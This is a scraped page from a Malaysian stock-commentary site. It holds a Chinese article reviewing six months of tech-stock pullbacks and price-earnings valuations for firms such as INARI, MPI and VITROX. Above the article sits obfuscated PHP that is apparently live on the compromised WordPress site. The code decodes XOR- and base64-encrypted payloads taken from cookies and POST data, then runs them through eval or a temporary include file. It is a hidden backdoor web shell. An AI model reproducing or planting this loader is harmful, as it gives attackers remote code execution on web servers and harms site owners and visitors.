$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}
Warning: session_start(): Cannot start session when headers already sent in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 31

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/SliderOptionsPreset/733a94e3.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 46

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/SliderOptionsPreset/733a94e3.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 47

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/SliderOptionsPreset/733a94e3.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 48
科技指数横摆6个月 - Sharix

科技指数横摆6个月

新一轮的调整

从本梦比回归本益比

科技指数在8月11登顶之后,过去3个星期回调了4.6%。在今年科技有过两次比较大的回调,分别是3月回调15%,5月也回调了15%以上,5月的更是一度跌到4个月新低。

不过6月到8月11号,科技指数一度反弹了25%并突破历史新高。在业绩出炉之后,指数登顶,市场消化了业绩的利好,因此一些高估值的科技公司需要盈利消化股价的涨幅。

假设大家拉长6个月的时间来看,3月头的科技指数是90点,现在是89.65,其实市场一直在消化科技的高估值。

过去6个月股价Top 10市值科技股处于上升/横摆/下跌就有:

↔️横摆
✅INARI
✅FRONTKN
✅DUFU
✅UNISEM

⬇️下跌
✅UWC
✅PENTA
✅MI

⬆️上涨

✅VITROX
✅GREATEC
✅D&O
✅MPI

大家仔细回顾的话,3月份强势的是INARI,UWC,FRONTKN,PENTA以及JHM,过后大多回调。

7 – 8月强势的是VITROX, GREATEC,D&O,MPI,INARI以及SAM(估值Re-rating)等。这波强势的主要都是行业龙头,估值比较低或者盈利历史新高的科技股。

所以之前多次提醒大家,高估值的科技股公司需要特别小心,除非是极低价格买进就另当别论。

过去几个月的4大科技研讨案例当中, DUFU在7月突破历史新高,INARI在8月突破历史新高RM3.75,JHM一度在8月4号突破4个月新高RM2.45,MPI则是昨天突破20年新高的RM46.50。

大家一起看看这4家公司过去2个月内从顶部回调多少??

?JHM从2.45⬇️18.4%, PE = 44.4
?DUFU从4.82⬇️13.3%, PE = 35.8
?INARI从3.75⬇️8.5%,PE = 38.2
?MPI从46.5⬇️5.2%,PE = 32.1

很明显的是,估值最高的回调最多,因为JHM还6月出业绩后,6月尾从底部1.60反弹了50%,是4家里涨最多的。业绩延迟到9月,部分投资者感到担心,因此回调也比较深。这个月业绩出炉后,只要保持成长,相信估值会下降到?更加吸引的范围。只要公司未来会持续成长,短期的股价波动是投资的一部分。

DUFU以及INARI其实也横摆了6个月,回调都在可控的范围。MPI则是估值低又高成长,因此是下半年最强势的科技股之一。

?青色PE低于40的科技股,有成长的几家回调%都是介于5 – 15%。比如SAM,UNISEM,MPI,DUFU以及INARI。

?黄色PE介于40 – 60的5家,平均都从顶峰回调20%以上,这5家的估值最高时期去到60 – 70。

?橙色PE60以上的,VITROX,D&O以及GREATEC是业绩最强的几家,也属于领头羊,因此市场给予比较高的估值。其余的都股价波动都比较大,股价从高峰回落20 – 30%不等。

总结:

热钱多的时候,全部科技股可以一起欢腾。热钱消退的时候,投资者会变得更加精明,都要找价廉物美的成长公司。科技领域的成长是必然的,有时候股价跑太快,就需要休息调整,等待盈利追上。

以上21家科技股的平均估值(不包括KESM,NOTION以及ELSFOT等PE破100)从8月巅峰的55回落到现在的49.1。主要是因为业绩出色以及股价回调,因此平均估值下跌10%。

下半年强者恒强,INARI,MPI,GREATEC以及VITROX平均回调不到10%,龙头科技股非常抗跌。其余个别成长科技股,只要估值低于40,相对会比较安全。

分配好资金比例,假设是早期买进,25 – 35%的科技股比例其实是没事的,比例过高就要调整分摊风险。长成长,长持守,共勉。

最新文章

Sharix Sdn Bhd (1313184-A)
@ 2023 Sharix Sdn Bhd. All Rights Reserved
官方社交平台